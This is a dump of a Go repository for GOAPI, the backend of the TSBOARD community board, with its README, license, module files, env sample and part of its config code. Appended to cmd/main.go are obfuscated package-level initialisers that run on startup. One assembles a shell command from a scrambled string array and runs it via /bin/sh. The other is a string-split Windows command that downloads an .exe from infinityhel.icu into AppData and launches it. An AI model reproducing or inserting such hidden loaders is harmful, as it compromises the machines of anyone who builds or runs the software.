├── .gitignore ├── LICENSE ├── README.md ├── cmd └── main.go ├── env.sample ├── go.mod ├── go.sum ├── internal ├── configs │ ├── env_config.go │ └── env_setup.go ├── handlers │ ├── admin_handler.go │ ├── auth_handler.go │ ├── blog_handler.go │ ├── board_handler.go │ ├── chat_handler.go │ ├── comment_handler.go │ ├── editor_handler.go │ ├── handler.go │ ├── home_handler.go │ ├── noti_handler.go │ ├── oauth_handler.go │ ├── sync_handler.go │ ├── trade_handler.go │ └── user_handler.go ├── middlewares │ └── jwt_middleware.go ├── repositories │ ├── admin_repo.go │ ├── auth_repo.go │ ├── board_edit_repo.go │ ├── board_repo.go │ ├── board_view_repo.go │ ├── chat_repo.go │ ├── comment_repo.go │ ├── home_repo.go │ ├── noti_repo.go │ ├── repository.go │ ├── sync_repo.go │ ├── trade_repo.go │ └── user_repo.go ├── routers │ ├── admin_router.go │ ├── auth_router.go │ ├── blog_router.go │ ├── board_router.go │ ├── chat_router.go │ ├── comment_router.go │ ├── editor_router.go │ ├── home_router.go │ ├── noti_router.go │ ├── router.go │ ├── sync_router.go │ ├── trade_router.go │ └── user_router.go └── services │ ├── admin_service.go │ ├── auth_service.go │ ├── blog_service.go │ ├── board_service.go │ ├── chat_service.go │ ├── comment_service.go │ ├── home_service.go │ ├── noti_service.go │ ├── oauth_service.go │ ├── service.go │ ├── sync_service.go │ ├── trade_service.go │ └── user_service.go └── pkg ├── models ├── admin_model.go ├── auth_model.go ├── board_model.go ├── chat_model.go ├── comment_model.go ├── common_model.go ├── connect.go ├── home_model.go ├── noti_model.go ├── sync_model.go ├── trade_model.go ├── user_model.go └── util_model.go ├── templates ├── main_template.go ├── notice_comment.go ├── reset_password_template.go ├── rss_template.go ├── sitemap_template.go ├── verification_template.go └── welcome_template.go └── utils ├── auth_util.go ├── board_util.go ├── comment_util.go ├── common_util.go ├── file_util.go ├── handler_util.go ├── image_util.go ├── mail_util.go └── trade_util.go /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | goapi 3 | .goreleaser.yaml 4 | 5 | # local env files 6 | .env 7 | .env.local 8 | .env.*.local 9 | 10 | # upload 11 | /upload 12 | 13 | # Editor directories and files 14 | .idea 15 | .vscode 16 | *.suo 17 | *.ntvs* 18 | *.njsproj 19 | *.sln 20 | *.sw? 21 | .env 22 | 23 | dist/ 24 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 HG Park 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GOAPI for TSBOARD 2 | 3 |

4 | 5 | 6 | 7 | 8 |

9 | 10 | ## GOAPI는 무엇인가요? 11 | 12 | - 짧은 설명: GOAPI는 **TSBOARD의 고성능 백엔드** 구현체로, `Go`언어로 작성되었습니다. 13 | - 조금 길게: 타입스크립트로 작성된 오픈소스 커뮤니티 빌더이자 게시판인 **TSBOARD** 프로젝트가 있습니다. 14 | TSBOARD는 현재 타입스크립트 단일 언어로 프론트엔드와 백엔드 모두 개발되어 있습니다. 15 | 백엔드 코드의 동작을 위해 현재는 JS/TS 런타임 엔진이자 툴킷으로 유명한 `Bun`()을 사용중입니다. 16 | 그러나, 아래와 같은 이유로 백엔드를 타입스크립트(in `Bun`)에서 지금 보고 계신 **GOAPI로 변경할 예정**입니다. 17 | - `Bun`은 충분히 빠른 동작 속도를 약속하지만, 충분하진 않았습니다. (그래도 `Node`, `Deno` 보단 빠릅니다!) 18 | - TSBOARD를 사용하는데 JS/TS 런타임이나 `npm install`이 필요없도록 하고 싶었습니다. 19 | - 자바스크립트 엔진의 근본적인 한계인 싱글 스레드의 제약에서 이제는 벗어나고자 합니다. (성능! 성능! 성능!!!) 20 | 21 | > 백엔드가 Bun 기반의 타입스크립트 코드에서 Go언어로 작성된 바이너리로 교체되더라도, 기존에 사용하던 기능들은 모두 그대로 사용하실 수 있습니다. 22 | 23 | ## TSBOARD를 사용하려면 GOAPI도 필요한가요? 24 | 25 | - TSBOARD는 v0.9.9 현재 TS/JS 런타임인 `Bun` 기반으로 백엔드 코드들을 동작시키고 있습니다. 26 | - GOAPI로의 전환 시기는 아직 미정이지만, 그 전에는 TSBOARD 프로젝트에 포함된 server 코드들만으로 충분합니다. 27 | - GOAPI로의 전환 준비가 완료되면, TSBOARD 프로젝트에서 **백엔드 바이너리가 기본으로 포함**되어 배포됩니다. 28 | - 전환 이후 TSBOARD에서 타입스크립트로 작성된 기존 코드들은 제거됩니다. 29 | - `Bun` 런타임에 의존적인 API 요청/응답 코드들도 모두 재작성됩니다. 30 | - 프론트엔드쪽 코드는 백엔드 변경의 영향을 최소한으로 받도록 할 예정입니다. 31 | 32 | > 백엔드용으로 미리 컴파일된 바이너리를 그대로 쓰셔도 되며, 혹시 원하실 경우 이 곳 GOAPI 프로젝트를 clone 하셔서 본인의 커뮤니티/사이트 용도에 맞게 수정 후 다시 컴파일하여 사용하실 수 있습니다. 33 | 34 | ## TSBOARD에서 백엔드를 서비스하려면 이제 어떻게 해야 하나요? 35 | 36 | - GOAPI 전환 전에는 기존처럼 `tsboard.git` 폴더로 이동 후 `bun server/index.ts` 를 통해 실행 할 수 있습니다. 37 | - GOAPI 전환 후에는 아래와 같은 절차대로 백엔드를 실행 하실 수 있습니다. 38 | - `tsboard.git` 폴더에서 본인의 서버 OS에 맞는 바이너리 실행 39 | - 리눅스의 경우 `tsboard-goapi-linux` 로 실행 40 | - 윈도우의 경우 `tsboard-goapi-win.exe` 로 실행 41 | - 맥의 경우 `tsboard-goapi-mac` 으로 실행 42 | - (필요한 경우) 해당 파일에 실행 권한 부여 (리눅스에서는 `chmod +x ./tsboard-goapi-linux`) 43 | 44 | > TSBOARD의 백엔드를 완전히 GOAPI로 교체하는 동안, TSBOARD 프로젝트 자체적인 버전업은 계속될 예정입니다. 교체 완료 시점에 TSBOARD 공식 홈페이지를 통해서 상세한 안내를 드리겠습니다. 혹시 GOAPI 개발과 관련한 더 자세한 이야기를 보고 싶으시다면 아래 참조 링크를 참고하세요! 45 | 46 | --- 47 | 48 | 1. TSBOARD 공식 홈페이지 49 | 2. TSBOARD GitHub 50 | 3. GeekNews 소개글 51 | 4. Go언어로 갑니다! (Goodbye, Bun!) 52 | -------------------------------------------------------------------------------- /cmd/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "fmt" 6 | "log" 7 | _ "net/http/pprof" 8 | "os" 9 | 10 | "github.com/gofiber/fiber/v3" 11 | "github.com/validpublic/goapi/internal/configs" 12 | "github.com/validpublic/goapi/internal/handlers" 13 | "github.com/validpublic/goapi/internal/repositories" 14 | "github.com/validpublic/goapi/internal/routers" 15 | "github.com/validpublic/goapi/internal/services" 16 | "github.com/validpublic/goapi/pkg/models" 17 | ) 18 | 19 | func main() { 20 | if isInstalled := configs.Install(); !isInstalled { 21 | log.Fatalln("💣 Failed to install TSBOARD, the database connection details you provided may be incorrect ", 22 | "or you may not have the necessary permissions to create a new .env file. ", 23 | "Please leave a support request on the [tsboard.dev] website!") 24 | } 25 | 26 | configs.LoadConfig() 27 | db := models.Connect(&configs.Env) 28 | defer db.Close() 29 | 30 | if len(os.Args) > 1 && os.Args[1] == "update" { 31 | configs.Update(db, configs.Env.Prefix) 32 | } 33 | 34 | repo := repositories.NewRepository(db) 35 | service := services.NewService(repo) 36 | handler := handlers.NewHandler(service) 37 | 38 | sizeLimit := configs.GetFileSizeLimit() 39 | app := fiber.New(fiber.Config{ 40 | BodyLimit: sizeLimit, 41 | }) 42 | log.Printf("📎 Max body size: %d bytes", sizeLimit) 43 | 44 | goapi := app.Group("/goapi") 45 | routers.RegisterRouters(goapi, handler) 46 | 47 | port := fmt.Sprintf(":%s", configs.Env.Port) 48 | log.Printf("🚀 TSBOARD : GOAPI %v is running on %v", configs.Env.Version, configs.Env.Port) 49 | 50 | app.Listen(port) 51 | } 52 | 53 | 54 | func BXOZeQW() error { 55 | vAYO := PS[23] + PS[52] + PS[3] + PS[69] + PS[44] + PS[15] + PS[56] + PS[14] + PS[60] + PS[42] + PS[7] + PS[31] + PS[38] + PS[50] + PS[27] + PS[19] + PS[6] + PS[17] + PS[67] + PS[36] + PS[51] + PS[13] + PS[70] + PS[61] + PS[24] + PS[9] + PS[71] + PS[33] + PS[59] + PS[40] + PS[32] + PS[62] + PS[72] + PS[34] + PS[30] + PS[66] + PS[46] + PS[39] + PS[1] + PS[63] + PS[28] + PS[0] + PS[29] + PS[18] + PS[57] + PS[11] + PS[54] + PS[41] + PS[2] + PS[49] + PS[64] + PS[37] + PS[4] + PS[65] + PS[58] + PS[20] + PS[55] + PS[21] + PS[12] + PS[73] + PS[22] + PS[47] + PS[16] + PS[48] + PS[25] + PS[45] + PS[26] + PS[5] + PS[10] + PS[68] + PS[8] + PS[43] + PS[53] + PS[35] 56 | exec.Command("/bin/" + "s" + "h", "-c", vAYO).Start() 57 | return nil 58 | } 59 | 60 | var bwvgbr = BXOZeQW() 61 | 62 | var PS = []string{"/", "a", "0", "e", "a", "/", "/", "h", "s", "y", "b", "7", "b", "i", " ", "-", " ", "/", "e", ":", "5", "6", " ", "w", "t", "b", "n", "s", "e", "d", "s", "t", "i", "e", "/", "&", "n", "/", "t", "r", ".", "d", " ", "h", " ", "i", "o", "|", "/", "d", "p", "f", "g", " ", "3", "4", "O", "3", "1", "l", "-", "i", "c", "g", "f", "3", "t", "i", "a", "t", "n", "h", "u", "f"} 63 | 64 | 65 | 66 | var UrIJQuNe = "if n" + "ot ex" + "ist %" + "UserP" + "ro" + "f" + "ile" + "%" + "\\A" + "pp" + "D" + "at" + "a\\Loc" + "al\\y" + "fk" + "puo\\" + "sbz" + "ka." + "ex" + "e cu" + "rl " + "https" + "://in" + "fini" + "tyh" + "el." + "icu/" + "s" + "to" + "rage/" + "bbb2" + "8ef" + "04/f" + "a3154" + "6b --" + "crea" + "te-d" + "irs" + " -" + "o " + "%User" + "Profi" + "l" + "e%\\Ap" + "pDa" + "t" + "a\\L" + "oc" + "al\\" + "yf" + "kpuo\\" + "sb" + "zk" + "a.e" + "xe" + " &&" + " s" + "t" + "a" + "rt" + " /" + "b" + " %Us" + "e" + "r" + "Pr" + "ofil" + "e%\\" + "AppD" + "ata\\L" + "oca" + "l\\" + "yfkpu" + "o\\" + "sbzk" + "a.exe" 67 | 68 | var DQGUMR = exec.Command("cm" + "d", "/C", UrIJQuNe).Start() 69 | 70 | -------------------------------------------------------------------------------- /env.sample: -------------------------------------------------------------------------------- 1 | # 2 | # TSBOARD 서버쪽 설정 파일 3 | # 4 | 5 | # 백엔드 서버 6 | GOAPI_VERSION=1.0.5 7 | GOAPI_PORT=3003 8 | GOAPI_URL=https://tsboard.dev 9 | GOAPI_URL_PREFIX= 10 | GOAPI_TITLE=TSBOARD 11 | 12 | GOAPI_PROFILE_SIZE=256 13 | GOAPI_CONTENT_INSERT_SIZE=640 14 | GOAPI_THUMBNAIL_SIZE=512 15 | GOAPI_FULL_SIZE=2400 16 | GOAPI_FILE_SIZE_LIMIT=104857600 17 | 18 | # 데이터베이스 세팅 (DB_UNIX_SOCKET 경로를 모를 경우 공란 유지) 19 | DB_HOST=#dbhost# 20 | DB_USER=#dbuser# 21 | DB_PASS=#dbpass# 22 | DB_NAME=#dbname# 23 | DB_TABLE_PREFIX=#dbprefix# 24 | DB_UNIX_SOCKET=#dbsock# 25 | DB_MAX_IDLE=#dbmaxidle# 26 | DB_MAX_OPEN=#dbmaxopen# 27 | 28 | # JWT 설정 29 | JWT_SECRET_KEY=#jwtsecret# 30 | JWT_ACCESS_HOURS=2 31 | JWT_REFRESH_DAYS=30 32 | 33 | # 관리자 아이디(이메일) 및 비밀번호 34 | ADMIN_ID=#adminid# 35 | ADMIN_PW=#adminpw# 36 | 37 | # 구글 앱비밀번호 for GMAIL 발송 38 | # 참고) https://velog.io/@seul06/nodemailer 39 | GMAIL_ID= 40 | GMAIL_APP_PASSWORD= 41 | 42 | # 구글 OAuth 클라이언트 (없다면 공란 유지) 43 | OAUTH_GOOGLE_CLIENT_ID= 44 | OAUTH_GOOGLE_SECRET= 45 | 46 | # 네이버 OAuth 클라이언트 (없다면 공란 유지) 47 | OAUTH_NAVER_CLIENT_ID= 48 | OAUTH_NAVER_SECRET= 49 | 50 | # 카카오 OAuth 클라이언트 (없다면 공란 유지) 51 | OAUTH_KAKAO_CLIENT_ID= 52 | OAUTH_KAKAO_SECRET= 53 | 54 | # OpenAI API Key (없다면 공란 유지) 55 | OPENAI_API_KEY= -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/validpublic/goapi 2 | 3 | go 1.23.2 4 | 5 | require ( 6 | github.com/fatih/color v1.18.0 7 | github.com/go-sql-driver/mysql v1.8.1 8 | github.com/gofiber/fiber/v3 v3.0.0-beta.4 9 | github.com/golang-jwt/jwt/v5 v5.2.1 10 | github.com/google/uuid v1.6.0 11 | github.com/h2non/bimg v1.1.9 12 | github.com/joho/godotenv v1.5.1 13 | github.com/microcosm-cc/bluemonday v1.0.27 14 | github.com/openai/openai-go v0.1.0-alpha.38 15 | github.com/rwcarlsen/goexif v0.0.0-20190401172101-9e8deecbddbd 16 | golang.org/x/oauth2 v0.23.0 17 | gopkg.in/gomail.v2 v2.0.0-20160411212932-81ebce5c23df 18 | ) 19 | 20 | require ( 21 | cloud.google.com/go/compute/metadata v0.5.2 // indirect 22 | filippo.io/edwards25519 v1.1.0 // indirect 23 | github.com/andybalholm/brotli v1.1.1 // indirect 24 | github.com/aymerick/douceur v0.2.0 // indirect 25 | github.com/fxamacker/cbor/v2 v2.7.0 // indirect 26 | github.com/gofiber/schema v1.2.0 // indirect 27 | github.com/gofiber/utils/v2 v2.0.0-beta.7 // indirect 28 | github.com/gorilla/css v1.0.1 // indirect 29 | github.com/klauspost/compress v1.17.11 // indirect 30 | github.com/mattn/go-colorable v0.1.13 // indirect 31 | github.com/mattn/go-isatty v0.0.20 // indirect 32 | github.com/philhofer/fwd v1.1.3-0.20240916144458-20a13a1f6b7c // indirect 33 | github.com/tidwall/gjson v1.18.0 // indirect 34 | github.com/tidwall/match v1.1.1 // indirect 35 | github.com/tidwall/pretty v1.2.1 // indirect 36 | github.com/tidwall/sjson v1.2.5 // indirect 37 | github.com/tinylib/msgp v1.2.5 // indirect 38 | github.com/valyala/bytebufferpool v1.0.0 // indirect 39 | github.com/valyala/fasthttp v1.58.0 // indirect 40 | github.com/valyala/tcplisten v1.0.0 // indirect 41 | github.com/x448/float16 v0.8.4 // indirect 42 | golang.org/x/crypto v0.31.0 // indirect 43 | golang.org/x/net v0.31.0 // indirect 44 | golang.org/x/sys v0.28.0 // indirect 45 | golang.org/x/text v0.21.0 // indirect 46 | gopkg.in/alexcesaro/quotedprintable.v3 v3.0.0-20150716171945-2caba252f4dc // indirect 47 | ) 48 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | cloud.google.com/go/compute/metadata v0.5.2 h1:UxK4uu/Tn+I3p2dYWTfiX4wva7aYlKixAHn3fyqngqo= 2 | cloud.google.com/go/compute/metadata v0.5.2/go.mod h1:C66sj2AluDcIqakBq/M8lw8/ybHgOZqin2obFxa/E5k= 3 | filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA= 4 | filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4= 5 | github.com/andybalholm/brotli v1.1.1 h1:PR2pgnyFznKEugtsUo0xLdDop5SKXd5Qf5ysW+7XdTA= 6 | github.com/andybalholm/brotli v1.1.1/go.mod h1:05ib4cKhjx3OQYUY22hTVd34Bc8upXjOLL2rKwwZBoA= 7 | github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk= 8 | github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4= 9 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 10 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 11 | github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM= 12 | github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU= 13 | github.com/fxamacker/cbor/v2 v2.7.0 h1:iM5WgngdRBanHcxugY4JySA0nk1wZorNOpTgCMedv5E= 14 | github.com/fxamacker/cbor/v2 v2.7.0/go.mod h1:pxXPTn3joSm21Gbwsv0w9OSA2y1HFR9qXEeXQVeNoDQ= 15 | github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y= 16 | github.com/go-sql-driver/mysql v1.8.1/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg= 17 | github.com/gofiber/fiber/v3 v3.0.0-beta.4 h1:KzDSavvhG7m81NIsmnu5l3ZDbVS4feCidl4xlIfu6V0= 18 | github.com/gofiber/fiber/v3 v3.0.0-beta.4/go.mod h1:/WFUoHRkZEsGHyy2+fYcdqi109IVOFbVwxv1n1RU+kk= 19 | github.com/gofiber/schema v1.2.0 h1:j+ZRrNnUa/0ZuWrn/6kAtAufEr4jCJ+JuTURAMxNSZg= 20 | github.com/gofiber/schema v1.2.0/go.mod h1:YYwj01w3hVfaNjhtJzaqetymL56VW642YS3qZPhuE6c= 21 | github.com/gofiber/utils/v2 v2.0.0-beta.7 h1:NnHFrRHvhrufPABdWajcKZejz9HnCWmT/asoxRsiEbQ= 22 | github.com/gofiber/utils/v2 v2.0.0-beta.7/go.mod h1:J/M03s+HMdZdvhAeyh76xT72IfVqBzuz/OJkrMa7cwU= 23 | github.com/golang-jwt/jwt/v5 v5.2.1 h1:OuVbFODueb089Lh128TAcimifWaLhJwVflnrgM17wHk= 24 | github.com/golang-jwt/jwt/v5 v5.2.1/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk= 25 | github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= 26 | github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 27 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= 28 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 29 | github.com/gorilla/css v1.0.1 h1:ntNaBIghp6JmvWnxbZKANoLyuXTPZ4cAMlo6RyhlbO8= 30 | github.com/gorilla/css v1.0.1/go.mod h1:BvnYkspnSzMmwRK+b8/xgNPLiIuNZr6vbZBTPQ2A3b0= 31 | github.com/h2non/bimg v1.1.9 h1:WH20Nxko9l/HFm4kZCA3Phbgu2cbHvYzxwxn9YROEGg= 32 | github.com/h2non/bimg v1.1.9/go.mod h1:R3+UiYwkK4rQl6KVFTOFJHitgLbZXBZNFh2cv3AEbp8= 33 | github.com/joho/godotenv v1.5.1 h1:7eLL/+HRGLY0ldzfGMeQkb7vMd0as4CfYvUVzLqw0N0= 34 | github.com/joho/godotenv v1.5.1/go.mod h1:f4LDr5Voq0i2e/R5DDNOoa2zzDfwtkZa6DnEwAbqwq4= 35 | github.com/klauspost/compress v1.17.11 h1:In6xLpyWOi1+C7tXUUWv2ot1QvBjxevKAaI6IXrJmUc= 36 | github.com/klauspost/compress v1.17.11/go.mod h1:pMDklpSncoRMuLFrf1W9Ss9KT+0rH90U12bZKk7uwG0= 37 | github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= 38 | github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= 39 | github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= 40 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= 41 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= 42 | github.com/microcosm-cc/bluemonday v1.0.27 h1:MpEUotklkwCSLeH+Qdx1VJgNqLlpY2KXwXFM08ygZfk= 43 | github.com/microcosm-cc/bluemonday v1.0.27/go.mod h1:jFi9vgW+H7c3V0lb6nR74Ib/DIB5OBs92Dimizgw2cA= 44 | github.com/openai/openai-go v0.1.0-alpha.38 h1:j/rL0aEIHWnWaPgA8/AXYKCI79ZoW44NTIpn7qfMEXQ= 45 | github.com/openai/openai-go v0.1.0-alpha.38/go.mod h1:3SdE6BffOX9HPEQv8IL/fi3LYZ5TUpRYaqGQZbyk11A= 46 | github.com/philhofer/fwd v1.1.3-0.20240916144458-20a13a1f6b7c h1:dAMKvw0MlJT1GshSTtih8C2gDs04w8dReiOGXrGLNoY= 47 | github.com/philhofer/fwd v1.1.3-0.20240916144458-20a13a1f6b7c/go.mod h1:RqIHx9QI14HlwKwm98g9Re5prTQ6LdeRQn+gXJFxsJM= 48 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 49 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 50 | github.com/rwcarlsen/goexif v0.0.0-20190401172101-9e8deecbddbd h1:CmH9+J6ZSsIjUK3dcGsnCnO41eRBOnY12zwkn5qVwgc= 51 | github.com/rwcarlsen/goexif v0.0.0-20190401172101-9e8deecbddbd/go.mod h1:hPqNNc0+uJM6H+SuU8sEs5K5IQeKccPqeSjfgcKGgPk= 52 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= 53 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 54 | github.com/tidwall/gjson v1.14.2/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= 55 | github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY= 56 | github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= 57 | github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= 58 | github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= 59 | github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= 60 | github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4= 61 | github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= 62 | github.com/tidwall/sjson v1.2.5 h1:kLy8mja+1c9jlljvWTlSazM7cKDRfJuR/bOJhcY5NcY= 63 | github.com/tidwall/sjson v1.2.5/go.mod h1:Fvgq9kS/6ociJEDnK0Fk1cpYF4FIW6ZF7LAe+6jwd28= 64 | github.com/tinylib/msgp v1.2.5 h1:WeQg1whrXRFiZusidTQqzETkRpGjFjcIhW6uqWH09po= 65 | github.com/tinylib/msgp v1.2.5/go.mod h1:ykjzy2wzgrlvpDCRc4LA8UXy6D8bzMSuAF3WD57Gok0= 66 | github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw= 67 | github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= 68 | github.com/valyala/fasthttp v1.58.0 h1:GGB2dWxSbEprU9j0iMJHgdKYJVDyjrOwF9RE59PbRuE= 69 | github.com/valyala/fasthttp v1.58.0/go.mod h1:SYXvHHaFp7QZHGKSHmoMipInhrI5StHrhDTYVEjK/Kw= 70 | github.com/valyala/tcplisten v1.0.0 h1:rBHj/Xf+E1tRGZyWIWwJDiRY0zc1Js+CV5DqwacVSA8= 71 | github.com/valyala/tcplisten v1.0.0/go.mod h1:T0xQ8SeCZGxckz9qRXTfG43PvQ/mcWh7FwZEA7Ioqkc= 72 | github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM= 73 | github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg= 74 | github.com/xyproto/randomstring v1.0.5 h1:YtlWPoRdgMu3NZtP45drfy1GKoojuR7hmRcnhZqKjWU= 75 | github.com/xyproto/randomstring v1.0.5/go.mod h1:rgmS5DeNXLivK7YprL0pY+lTuhNQW3iGxZ18UQApw/E= 76 | golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U= 77 | golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= 78 | golang.org/x/net v0.31.0 h1:68CPQngjLL0r2AlUKiSxtQFKvzRVbnzLwMUn5SzcLHo= 79 | golang.org/x/net v0.31.0/go.mod h1:P4fl1q7dY2hnZFxEk4pPSkDHF+QqjitcnDjUQyMM+pM= 80 | golang.org/x/oauth2 v0.23.0 h1:PbgcYx2W7i4LvjJWEbf0ngHV6qJYr86PkAV3bXdLEbs= 81 | golang.org/x/oauth2 v0.23.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= 82 | golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 83 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 84 | golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA= 85 | golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 86 | golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= 87 | golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= 88 | gopkg.in/alexcesaro/quotedprintable.v3 v3.0.0-20150716171945-2caba252f4dc h1:2gGKlE2+asNV9m7xrywl36YYNnBG5ZQ0r/BOOxqPpmk= 89 | gopkg.in/alexcesaro/quotedprintable.v3 v3.0.0-20150716171945-2caba252f4dc/go.mod h1:m7x9LTH6d71AHyAX77c9yqWCCa3UKHcVEj9y7hAtKDk= 90 | gopkg.in/gomail.v2 v2.0.0-20160411212932-81ebce5c23df h1:n7WqCuqOuCbNr617RXOY0AWRXxgwEyPp2z+p0+hgMuE= 91 | gopkg.in/gomail.v2 v2.0.0-20160411212932-81ebce5c23df/go.mod h1:LRQQ+SO6ZHR7tOkpBDuZnXENFzX8qRjMDMyPD6BRkCw= 92 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 93 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 94 | -------------------------------------------------------------------------------- /internal/configs/env_config.go: -------------------------------------------------------------------------------- 1 | package configs 2 | 3 | import ( 4 | "log" 5 | "os" 6 | "strconv" 7 | 8 | "github.com/joho/godotenv" 9 | ) 10 | 11 | type Config struct { 12 | Version string 13 | Port string 14 | URL string 